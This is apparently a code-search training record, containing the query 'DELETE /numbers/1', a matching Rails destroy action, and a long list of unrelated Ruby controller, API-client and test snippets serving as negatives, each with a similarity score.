"def test_send_integer_array()\n # Parameters for the API call\n integers = APIHelper.json_deserialize(\n '[1,2,3,4,5]'\n )\n\n # Perform the API call through the SDK function\n result = @controller.send_integer_array(integers)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def test_send_integer_array()\n # Parameters for the API call\n integers = APIHelper.json_deserialize(\n '[1,2,3,4,5]'\n )\n\n # Perform the API call through the SDK function\n result = @controller.send_integer_array(integers)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def push_number(stream, point)\n post stream, point\n end",
"def number(name, number)\n push(name, number)\n end",
"def create\n if NumberRunning.count == 0\n running = NumberRunning.new\n running.counter = 1111111111\n running.save!\n else\n running = NumberRunning.first\n end\n\n @number = Number.new\n\n can_use_unique = false\n unless params[\"value\"].nil?\n newvalue = params[\"value\"].to_i\n unless Number.any? {|n| n.value == newvalue }\n can_use_unique = true\n end\n end\n\n if can_use_unique\n @number.value = newvalue\n else\n @number.value = running.counter\n running.counter += 1\n running.save!\n end\n\n @number.save!\n\n render :index\n end",
"def destroy\n @num.destroy\n respond_to do |format|\n format.html { redirect_to nums_url, notice: \"Num was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def support_number_params\n params.require(:support_number).permit(:name, :number)\n end",
"def number_record_params\n params.require(:number_record).permit(:value)\n end",
"def test_insert_page_numbers\n local_file_name = 'test_multi_pages.docx'\n remote_file_name = 'TestInsertPageNumbers.docx'\n\n upload_file File.join(local_test_folder, 'Common/' + local_file_name), remote_data_folder + '/' + remote_file_name\n\n request_page_number = PageNumber.new({:Alignment => 'center', :Format => '{PAGE} of {NUMPAGES}'})\n request = InsertPageNumbersRequest.new(name: remote_file_name, page_number: request_page_number, folder: remote_data_folder, dest_file_name: remote_test_out + '/' + remote_file_name)\n\n result = @words_api.insert_page_numbers(request)\n assert_equal false, result.nil?\n end",
"def create\n @number_call = NumberCall.new(params[:number_call])\n\n respond_to do |format|\n if @number_call.save\n format.html { redirect_to @number_call, notice: 'Number call was successfully created.' }\n format.json { render json: @number_call, status: :created, location: @number_call }\n else\n format.html { render action: \"new\" }\n format.json { render json: @number_call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def number_params\n params.require(:number).permit(:area_code, :tracking_number, :business_number)\n end",
"def number_params\n params.require(:number).permit(:area_code, :tracking_number, :business_number)\n end",
"def create\n concat_phone_numbers params[:guest]\n @tablet_guest = Tablet::Guest.new(params[:guest])\n\n respond_to do |format|\n if @tablet_guest.save\n format.json { render :json => @tablet_guest, :status => :created}\n else\n format.json { render :json => @tablet_guest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @number.destroy\n respond_to do |format|\n format.html { redirect_to numbers_url, notice: 'Number was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n num = params['number-of-records'].to_i\n if (!num.is_a? Numeric) || (num < 1)\n @errors = { number_of_records: \"Not a valid number\" }\n render :new and return\n end\n\n queue_creation(num)\n flash[:notice] = 'success'\n render :new\n end",
"def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend",
"def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{uri}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts result[:result]\n result\nend",
"def post_json(path, body)\n uri = build_uri(path)\n #puts \"🤖 POST #{path}\"\n #puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n #puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n #puts result[:result]\n result\nend",
"def add_number(number)\n self.numbers << number\n end",
"def fake_outer_number_serialize_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FakeApi.fake_outer_number_serialize ...'\n end\n # resource path\n local_var_path = '/fake/outer/number'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'Float'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"FakeApi.fake_outer_number_serialize\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FakeApi#fake_outer_number_serialize\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts JSON.pretty_generate(result)\n result\nend",
"def create\n flash[:notice] = 'The phone number was successfully added.' if phone_number.save\n respond_with(phone_number)\n end",
"def create\n @numerador = Numerador.new(params[:numerador])\n\n respond_to do |format|\n if @numerador.save\n format.html { redirect_to(@numerador, :notice => 'Numerador was successfully created.') }\n format.xml { render :xml => @numerador, :status => :created, :location => @numerador }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @numerador.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def buy(digits, options={})\n path_str = \"/api/v1/#{@list_type_path}.json\"\n res = self.class.post(path_str, :body => {:phone_number => digits}.merge(options).\n merge(:auth_token => @token))\n if res && res['status'] == 'success'\n CTM::Number.new(res['number'], @token)\n else\n options = {}\n options[:test] = 1 if Rails.env != 'production'\n number = account.numbers.buy(number_to_buy, options)\n puts res.inspect\n raise CTM::Error::Buy.new(res[\"reason\"])\n end\n end",
"def create\n @invoice = Invoice.new(invoice_number_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to invoices_path, notice: 'Invoice number was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @number_call = NumberCall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @number_call }\n end\n end",
"def number(\n number,\n send_digits: nil,\n url: nil,\n method: nil,\n status_callback: nil,\n status_callback_event: nil,\n status_callback_method: nil,\n **keyword_args\n )\n append(Number.new(\n number,\n send_digits: send_digits,\n url: url,\n method: method,\n status_callback: status_callback,\n status_callback_event: status_callback_event,\n status_callback_method: status_callback_method,\n **keyword_args\n ))\n end",
"def post endpoint, data\n do_request :post, endpoint, data\n end",
"def request_params\n params.require(:request).permit(:num)\n end",
"def post_json(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_JSON)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return JSON.parse(response.body)['id'] \\\n if check_response(response, 201)\n end",
"def number_params\n params.require(:number).permit(:phonenumber, :country)\n end",
"def post_json(url, data)\n JSON.parse(post(url, data, :json, :json))\n end",
"def send_integer_array(integers)\n # Validate required parameters.\n validate_parameters(\n 'integers' => integers\n )\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/template/{integers}'\n _query_builder = APIHelper.append_url_with_template_parameters(\n _query_builder,\n 'integers' => { 'value' => integers, 'encode' => true }\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n EchoResponse.from_hash(decoded)\n end",
"def people_number_params\n params.require(:people_number).permit(:title)\n end",
"def as_json\n { id: id, number: number }\n end",
"def create\n @student_number = StudentNumber.new(student_number_params)\n\n respond_to do |format|\n if @student_number.save\n format.html { redirect_to student_numbers_url, notice: 'Broj studenata je uspješno kreiran.' }\n format.json { render :show, status: :created, location: @student_number }\n else\n format.html { render :new }\n format.json { render json: @student_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def do_post host, jsonArray_data\n (jsonArray_data).each do |data|\n\n @no_hits +=1\n\n index = data['_index']\n type = data['_type']\n id = data['_id']\n source= data['_source'].to_json\n\n esUri = URI.parse 'http://'+host+'/'+index+'/'+type+'/'+id\n http = Net::HTTP.new(esUri.host, esUri.port)\n response = http.post(esUri.path, source)\n\n if (response.code.to_i > 400)\n puts \"Error posting to: \" + esUri.to_s + \", source_object: \" + data.to_json\n end\n\n case\n when @total_hits_to_import.to_i/4 == @no_hits\n puts \"Imported 25%\"\n when @total_hits_to_import.to_i/2 == @no_hits\n puts \"Imported 50%\"\n when (@total_hits_to_import.to_i*3)/4 == @no_hits\n puts \"Imported 75%\"\n end\n end\nend",
"def set_number_array\n @number_array = NumberArray.find(params[:id])\n end",
"def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end",
"def post_rest_api(endpoint, data, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP POST request against the specified REST API endpoint\n request = Net::HTTP::Post.new(rest_api_endpoint)\n # Set the Content-Type and data of the HTTP POST request\n request.content_type = \"application/json\"\n request.body = data\n # Submit the request\n response = http.request(request)\n # Return the response bosy (JSON containing the result of the POST operation)\n response.body\nend",
"def create\n @picture_number = PictureNumber.new(picture_number_params)\n\n respond_to do |format|\n if @picture_number.save\n format.html { redirect_to @picture_number, notice: 'Picture number was successfully created.' }\n format.json { render :show, status: :created, location: @picture_number }\n else\n format.html { render :new }\n format.json { render json: @picture_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(url, payload, headers={})\n payload = MultiJson.encode(payload)\n headers = headers.merge({:content_type => 'application/json'})\n request(:post, url, payload, headers)\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def index\n @bot_bingo_numbers = BotBingoNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n # frommat.json { render json: @bot_bingo_numbers }\n end\n end",
"def post_json(path, body)\n uri = build_uri(path)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n result = JSON.parse(response.body)\n puts result\n result\nend",
"def number_params\n params.permit(:raffle_id).merge(user_id: @current_user.id)\n end",
"def create\n @troop = Troop.new(troop_params)\n #number = params[:troop][:number].to_i\n respond_to do |format|\n if @troop.save\n @production = Production.new\n @production.troop = @troop\n @production.save!\n #sequence = SeqRangeTroopNumber.new\n #sequence.rtn = number\n #sequence.save!\n format.html { redirect_to @troop, notice: 'Tropa exitosamente creada.' }\n format.json { render :show, status: :created, location: @troop }\n else\n format.html { render :new }\n format.json { render json: @troop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(data = {})\n call data, method: :post\n end",
"def set_number\n @number = Number.find(params[:id])\n end",
"def set_number\n @number = Number.find(params[:id])\n end",
"def set_number\n @number = Number.find(params[:id])\n end",
"def set_number\n @number = Number.find(params[:id])\n end",
"def set_number\n @number = Number.find(params[:id])\n end",
"def set_number\n @number = Number.find(params[:id])\n end",
"def test_number_as_optional()\n # Parameters for the API call\n body = NumberAsOptional.from_hash(APIHelper.json_deserialize(\n '{\"number\":1}'\n ))\n\n # Perform the API call through the SDK function\n result = @controller.send_number_as_optional(body)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def test_number_as_optional()\n # Parameters for the API call\n body = NumberAsOptional.from_hash(APIHelper.json_deserialize(\n '{\"number\":1}'\n ))\n\n # Perform the API call through the SDK function\n result = @controller.send_number_as_optional(body)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def destroy\n @number = Number.where(:value => params[:number][:value]).first\n @number.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def create\n @bot_bingo_number = BotBingoNumber.new(bot_bingo_number_params)\n\n respond_to do |format|\n if @bot_bingo_number.save\n format.html { redirect_to @bot_bingo_number, notice: 'Bot bingo number was successfully created.' }\n format.json { render json: @bot_bingo_number, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @bot_bingo_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @range_troop_number = RangeTroopNumber.new(range_troop_number_params)\n\n respond_to do |format|\n if @range_troop_number.save\n format.html { redirect_to @range_troop_number, notice: 'Rango numero tropa exitosamente creado.' }\n format.json { render :show, status: :created, location: @range_troop_number }\n else\n format.html { render :new }\n format.json { render json: @range_troop_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def lotteries_by_phone_number\n @lotteries = Lottery.where(:phone_number => params[:phone_number])\n render json: @lotteries\n end",
"def number_params\n params.require(:number).permit(:number, :cn, :prefix, :mcdu, :countrycode, :validation)\n end",
"def new\n @winning_number = WinningNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @winning_number }\n end\n end"
] |
[
"0.6095283",
"0.6064746",
"0.5995411",
"0.5855993",
"0.57869804",
"0.5778158",
"0.57576627",
"0.57191694",
"0.56227565",
"0.5611352",
"0.55656797",
"0.5527828",
"0.5458485",
"0.54570806",
"0.54384583",
"0.5425506",
"0.53820324",
"0.53790694",
"0.5375236",
"0.5356631",
"0.53292674",
"0.5322932",
"0.5311397",
"0.5290688",
"0.5263384",
"0.5263384",
"0.5263384",
"0.525598",
"0.5251499",
"0.5244982",
"0.5243127",
"0.5235421",
"0.52302927",
"0.52270836",
"0.52252406",
"0.522447",
"0.52211994",
"0.52094465",
"0.52058935",
"0.52058935",
"0.51717305",
"0.51667786",
"0.5165552",
"0.51527",
"0.5149953",
"0.51273364",
"0.51234806",
"0.51172924",
"0.5112036",
"0.5112036",
"0.51025236",
"0.50996447",
"0.5095173",
"0.50943416",
"0.5090316",
"0.50871927",
"0.5085128",
"0.5081483",
"0.5072108",
"0.5067229",
"0.50579226",
"0.50472873",
"0.50463057",
"0.5042146",
"0.5027618",
"0.5018446",
"0.5015973",
"0.5003066",
"0.4997696",
"0.4996396",
"0.49932852",
"0.4951567",
"0.49508706",
"0.49473533",
"0.49368206",
"0.49286732",
"0.49274355",
"0.4926951",
"0.491114",
"0.49054617",
"0.48979202",
"0.48914462",
"0.48901275",
"0.48867103",
"0.487934",
"0.48681483",
"0.4863473",
"0.4863473",
"0.4863473",
"0.4863473",
"0.4863473",
"0.4863473",
"0.48575196",
"0.48575196",
"0.48565033",
"0.48563567",
"0.48452064",
"0.48450282",
"0.4817185",
"0.48107293"
] |
0.6475641
|
0
|
DELETE /numbers/1 DELETE /numbers/1.json
|
def destroy
@number = Number.where(:value => params[:number][:value]).first
@number.destroy
respond_to do |format|
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @num.destroy\n respond_to do |format|\n format.html { redirect_to nums_url, notice: \"Num was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @number.destroy\n respond_to do |format|\n format.html { redirect_to numbers_url, notice: 'Number was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @client_number = ClientNumber.find(params[:id])\n @client_number.destroy\n\n respond_to do |format|\n format.html { redirect_to client_numbers_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @tnumber = Tnumber.find(params[:id])\n @tnumber.destroy\n\n respond_to do |format|\n format.html { redirect_to tnumbers_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n\n begin \n\n Bandwidth::PhoneNumber.get(@number.bw_id).delete \n \n rescue StandardError => e\n puts \"ERROR: \"+e.message \n end \n\n @number.destroy\n\n respond_to do |format|\n format.html { redirect_to numbers_url, notice: 'Number was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete(url, headers={})\n RestClient.delete url, headers\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def delete!\n request! :delete\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def destroy\n @one = One.find(params[:id])\n @one.destroy\n\n respond_to do |format|\n format.html { redirect_to ones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @number_call = NumberCall.find(params[:id])\n @number_call.destroy\n\n respond_to do |format|\n format.html { redirect_to number_calls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @phone_number.destroy\n respond_to do |format|\n format.html { redirect_to phone_numbers_url }\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def destroy\n @number_record.destroy\n respond_to do |format|\n format.html { redirect_to number_records_url, notice: 'Number record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n #@phone.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete(url)\n do_request(\"delete\", url)\n end",
"def delete(path)\n request(:delete, path)\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def destroy\n @phone = Phone.find(params[:id])\n @phone.destroy\n\n respond_to do |format|\n format.html { redirect_to phones_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n begin \n @client = Twilio::REST::Client.new BwCallTracking::Application.config.account_sid, BwCallTracking::Application.config.auth_token \n \n @client.account.incoming_phone_numbers.list({:phone_number => @number.tracking_number}).each do |n|\n n.delete\n end\n\n rescue StandardError => e\n puts \"ERROR: \"+e.message \n end \n\n @number.destroy\n\n respond_to do |format|\n format.html { redirect_to numbers_url, notice: 'Number was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @phone_num.destroy\n respond_to do |format|\n format.html { redirect_to phone_nums_url, notice: 'Phone num was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bot_bingo_number.destroy\n respond_to do |format|\n format.html { redirect_to bot_bingo_numbers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @phone = Phone.find(params[:id])\n @phone.destroy\n\n respond_to do |format|\n format.html { redirect_to phones_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n render json: nil, status: :ok\n end",
"def destroy\n @people_number.destroy\n respond_to do |format|\n format.html { redirect_to people_numbers_url, notice: 'People number was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def destroy\n @three.destroy\n respond_to do |format|\n format.html { redirect_to threes_url }\n format.json { head :no_content }\n end\n end",
"def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def destroy\n @thirtyone.destroy\n respond_to do |format|\n format.html { redirect_to thirtyones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ca_lotto_number = CaLottoNumber.find(params[:id])\n @ca_lotto_number.destroy\n\n respond_to do |format|\n format.html { redirect_to ca_lotto_numbers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @phone_number = PhoneNumber.find(params[:id])\n @phone_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(phone_numbers_url) }\n format.xml { head :ok }\n end\n end",
"def DeleteView id\n \n APICall(path: \"views/#{id}.json\",method: 'DELETE')\n \n end",
"def delete_json(url)\n JSON.parse(delete(url, :json, :json))\n end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def delete(path)\n request(:delete, path)\n end",
"def delete(url)\n call(url: url, action: :delete)\n end",
"def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @todo = Todo.find_by(id: params[:id])\n Todo.delete(@todo)\n @@all = Todo.all\n render json: @@all\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @test10 = Test10.find(params[:id])\n @test10.destroy\n\n respond_to do |format|\n format.html { redirect_to test10s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Delete.new(uri)\n run(uri, req)\n end",
"def delete(path, params = {})\n post(path, params.merge(\"_method\" => \"delete\"))\n end",
"def delete\n delete_from_server single_url\n end",
"def deletef\n url = prefix + \"deletef\" + id_param\n return response(url)\n end",
"def destroy\n @phonenumber = Phonenumber.find(params[:id])\n @phonenumber.destroy\n\n head :no_content\n end",
"def destroy\n @thirtythree.destroy\n respond_to do |format|\n format.html { redirect_to thirtythrees_url }\n format.json { head :no_content }\n end\n end",
"def delete_list(id)\n record \"/todos/delete_list/#{id}\"\n end",
"def destroy\n @telefone = Telefone.find(params[:id])\n @telefone.destroy\n\n respond_to do |format|\n format.html { redirect_to telefones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @numera.destroy\n respond_to do |format|\n format.html { redirect_to numeras_url, notice: 'Numera was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def destroy\n @ninja = Ninja.find(params[:id])\n @ninja.destroy\n\n respond_to do |format|\n format.html { redirect_to ninjas_url }\n format.json { head :no_content }\n end\n end",
"def test_delete_post\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Delete.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def destroy\n @todo = Todo.find(params[:id]).destroy\n if @todo.destroy\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end",
"def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def destroy\n @phone_number.destroy\n\n respond_to do |format|\n format.html { redirect_to(phone_numbers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @phone.destroy\n respond_to do |format|\n format.html { redirect_to phones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @phone.destroy\n respond_to do |format|\n format.html { redirect_to phones_url }\n format.json { head :no_content }\n end\n end",
"def delete\n supprimer = SondageService.instance.supprimerSondage(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\nend",
"def delete!\n Recliner.delete(uri)\n end"
] |
[
"0.6984806",
"0.6934817",
"0.6903177",
"0.6854766",
"0.6800874",
"0.67897856",
"0.6745548",
"0.673172",
"0.67171174",
"0.66145045",
"0.66094214",
"0.6599608",
"0.65958166",
"0.65958166",
"0.6590628",
"0.6587603",
"0.6579372",
"0.6579372",
"0.6579372",
"0.6579372",
"0.6573329",
"0.6564075",
"0.6559743",
"0.65462476",
"0.6542096",
"0.65416545",
"0.65361077",
"0.6534233",
"0.65185726",
"0.6504919",
"0.64980036",
"0.6476549",
"0.6469164",
"0.6460064",
"0.64558923",
"0.645362",
"0.64488506",
"0.64482343",
"0.64462525",
"0.64363545",
"0.6431484",
"0.6429969",
"0.64288116",
"0.64283735",
"0.6408355",
"0.6406768",
"0.63960576",
"0.63910115",
"0.63903534",
"0.63861126",
"0.6379361",
"0.6379361",
"0.6378117",
"0.6374392",
"0.6372064",
"0.63638914",
"0.6357837",
"0.63542104",
"0.6349378",
"0.6348934",
"0.63374513",
"0.63307",
"0.63162",
"0.6306488",
"0.63062996",
"0.6303554",
"0.6286842",
"0.62772465",
"0.6276212",
"0.6267655",
"0.6266568",
"0.6259569",
"0.62536645",
"0.624898",
